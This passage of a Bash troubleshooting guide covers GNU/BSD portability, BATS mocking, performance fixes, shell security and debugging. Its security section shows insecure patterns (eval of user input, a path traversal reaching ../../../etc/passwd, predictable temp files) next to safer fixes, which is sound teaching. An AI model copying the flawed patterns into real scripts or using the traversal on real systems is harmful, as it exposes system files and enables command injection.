timestamp=$(date -j -f "%Y-%m-%d" "2023-01-01" +%s)
else
# Linux (GNU date)
timestamp=$(date -d "2023-01-01" +%s)
fiIssue: Missing Commands
Problem:
# Script fails if readlink not available
canonical=$(readlink -f "$path")Solution:
# Check before using
if command -v readlink &>/dev/null; then
canonical=$(readlink -f "$path")
else
# Fallback implementation
canonical=$(cd "$(dirname "$path")" && pwd -P)/$(basename "$path")
fiTesting Issues
Issue: Tests Pass Locally, Fail in CI
Problem:
- Different Bash versions
- Different tool versions (GNU vs BSD)
- Different environment variables
Solution:
# Test matrix in CI
strategy:
matrix:
os: [ubuntu-latest, macos-latest]
bash-version: ['4.4', '5.0', '5.2']
# Version detection in tests
@test "check bash version" {
run bash --version
[[ "$output" =~ "version ${EXPECTED_BASH_VERSION}" ]]
}
# Environment isolation
setup() {
# Save current environment
export SAVED_PATH="$PATH"
# Set up test environment
export PATH="/test/bin:$PATH"
}
teardown() {
# Restore environment
export PATH="$SAVED_PATH"
}Issue: Mock Not Working
Problem:
# Function mock not visible in subshell
function aws() { echo "MOCK"; }
export -f aws
# Fails: subshell doesn't see mock
result=$(aws s3 ls)Solution:
# Use BATS helper for mocking
load test_helper
@test "mock aws command" {
# Create mock in PATH
function aws() {
echo "MOCK AWS: $*"
}
export -f aws
# Call in same shell (not subshell)
run aws s3 ls
[[ "$output" == "MOCK AWS: s3 ls" ]]
}Performance Issues
Issue: Slow File Processing
Problem:
# Slow: spawns process for each file
for file in *.txt; do
cat "$file" | grep pattern
doneSolution:
# Fast: single grep invocation
grep pattern *.txt
# Or parallel processing
find . -name "*.txt" -print0 |
xargs -0 -P "$(nproc)" grep patternIssue: Repeated Command Substitutions
Problem:
# Slow: runs date 1000 times
for i in {1..1000}; do
echo "$(date +%s): Processing $i"
doneSolution:
# Fast: run date once
timestamp=$(date +%s)
for i in {1..1000}; do
echo "$timestamp: Processing $i"
doneSecurity Issues
Issue: Command Injection
Problem:
# Dangerous: user input in command
eval "grep '$user_pattern' file.txt"Solution:
# Safe: pass as argument
grep "$user_pattern" file.txt
# Or use array for complex commands
cmd=(grep "$user_pattern" file.txt)
"${cmd[@]}"Issue: Path Traversal
Problem:
# Dangerous: user can specify ../../../etc/passwd
cat "$user_specified_file"Solution:
# Validate path is within allowed directory
validate_path() {
local path="$1"
local allowed_dir="/safe/directory"
# Resolve to canonical path
local canonical=$(cd "$(dirname "$path")" && pwd -P)/$(basename "$path")
# Check if within allowed directory
[[ "$canonical" == "$allowed_dir"/* ]] || {
echo "Error: Path outside allowed directory" >&2
return 1
}
}
if validate_path "$user_specified_file"; then
cat "$user_specified_file"
fiIssue: Temporary File Race Condition
Problem:
# Insecure: predictable name, race condition
tmpfile="/tmp/myapp-$$"
echo "data" > "$tmpfile"Solution:
# Secure: unpredictable name, atomic creation
tmpfile=$(mktemp)
trap 'rm -f "$tmpfile"' EXIT
echo "data" > "$tmpfile"Getting Help
Run ShellCheck
shellcheck --enable=all script.shCheck Bash Version
bash --version
echo "Bash ${BASH_VERSION} (${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]})"Test Platform Compatibility
# Test on multiple platforms
docker run --rm -v "$PWD:/work" -w /work bash:5.2 ./script.sh
docker run --rm -v "$PWD:/work" -w /work bash:4.4 ./script.shEnable Comprehensive Debugging
# Maximum debug output
set -Eeuxo pipefail
export PS4='+(${BASH_SOURCE}:${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'Additional Resources
- Bash Pitfalls - Comprehensive list
- ShellCheck Wiki - Explanations for each check
- Bash FAQ - Common questions and answers
- Stack Overflow: bash tag - Community help